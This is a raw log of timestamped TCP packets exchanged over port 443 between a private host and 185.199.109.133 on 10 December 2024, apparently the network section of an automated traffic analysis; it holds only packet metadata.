Dec 10, 2024 07:35:30.217273951 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.224432945 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.224448919 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.224529028 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.224534988 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.224772930 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.231983900 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.232007027 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.232100964 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.232106924 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.232233047 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.240015030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.240035057 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.240122080 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.240128994 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.240266085 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.246373892 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.246387959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.246468067 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.246483088 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.246654034 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.279069901 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.279099941 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.279177904 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.279195070 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.279334068 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.280011892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.280087948 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.280097961 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.280113935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.280139923 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.280157089 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.284425020 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.284446001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.284526110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.284534931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.284574032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.285754919 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.285773039 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.285821915 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.285834074 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.286007881 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.293373108 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.293389082 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.293472052 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.293486118 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.293668032 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.378789902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.378813982 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.378997087 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.379025936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.379082918 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.383785963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.383807898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.383919001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.383927107 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.383979082 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.388624907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.388644934 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.388725996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.388739109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.388787985 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.393114090 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.393136978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.393224001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.393233061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.393280983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.397954941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.397975922 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.398070097 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.398080111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.398129940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.402930975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.402954102 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.403047085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.403055906 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.403103113 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.409094095 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.409127951 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.409213066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.409230947 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.409590006 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.416682959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.416702986 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.416848898 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.416861057 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.422197104 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.424263954 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.424278975 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.424362898 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.424370050 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.426014900 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.431932926 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.431948900 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.432058096 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.432065010 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.432110071 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.438607931 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.438627005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.438745975 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.438766003 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.439327955 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.471812963 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.471832991 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.471879959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.471904039 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.471909046 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.471920967 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.471997976 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.471998930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.472007036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.472199917 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.476846933 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.476874113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.476950884 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.476958036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.477010965 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.478634119 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.478651047 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.478712082 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.478719950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.478754997 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.478773117 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.486018896 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.486032963 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.486098051 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.486104012 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.486144066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.571199894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.571232080 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.571377993 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.571397066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.571449041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.575563908 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.575583935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.575690031 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.575700998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.575746059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.580440998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.580466986 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.580543041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.580552101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.580596924 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.585484982 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.585505009 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.585592031 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.585601091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.585642099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.589874029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.589891911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.589978933 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.589987040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.590029955 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.595123053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.595143080 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.595227003 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.595235109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.595277071 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.602140903 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.602169037 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.602256060 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.602276087 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.602317095 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.609489918 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.609510899 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.609600067 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.609615088 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.609657049 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.616395950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.616417885 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.616487980 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.616501093 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.616537094 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.624092102 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.624130011 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.624191999 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.624205112 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.624217987 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.624238014 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.630695105 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.630718946 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.630786896 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.630803108 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.630841970 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.663132906 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.663152933 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.663220882 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.663233995 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.663276911 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.663959980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.663985014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.664032936 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.664047003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.664060116 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.664087057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.667778015 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.668469906 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.668493986 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.668601036 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.668605089 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.668836117 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.668853998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.668919086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.668925047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.668960094 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.670751095 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.670767069 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.670846939 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.670851946 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.670885086 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.678320885 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.678340912 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.678421021 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.678430080 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.678467989 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.765310049 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.765332937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.765521049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.765553951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.765604019 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.768166065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.768213987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.768277884 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.768284082 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.768318892 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.768335104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.772461891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.772484064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.772571087 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.772576094 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.772624969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.776859045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.776876926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.777000904 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.777007103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.777060032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.782085896 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.782103062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.782207012 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.782215118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.782262087 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.786463022 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.786478996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.786562920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.786575079 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.786623955 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.794384003 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.794420004 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.794503927 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.794540882 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.794586897 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.801062107 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.801084042 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.801156998 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.801168919 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.801211119 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.808634043 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.808655024 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.808732986 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.808743000 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.808782101 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.816219091 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.816240072 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.816308022 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.816315889 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.816361904 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.822838068 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.822856903 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.822936058 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.822945118 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.822985888 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.855521917 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.855551958 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.855633020 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.855645895 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.855689049 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.855899096 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.855921984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.855966091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.855983019 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.855998039 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.856025934 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.860471010 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.860486031 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.860569000 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.860572100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.860613108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.863121986 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.863136053 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.863209963 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.863214016 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.863245010 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.870714903 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.870732069 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.870820999 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.870825052 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.870861053 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.954955101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.954977989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.955216885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.955225945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.955271006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.959733009 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.959749937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.959842920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.959847927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.959893942 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.964147091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.964162111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.964250088 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.964252949 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.964294910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.969218969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.969237089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.969321966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.969331026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.969373941 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.974159956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.974176884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.974267960 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.974272013 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.974318027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.978810072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.978825092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.978908062 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.978912115 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.979095936 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.986541986 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.986567974 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.986651897 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.986676931 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.986716032 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.993180037 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.993205070 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.993299007 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.993309021 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.993346930 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.000809908 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.000834942 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.000919104 CET	49743	443	192.168.2.5	185.199.109.133
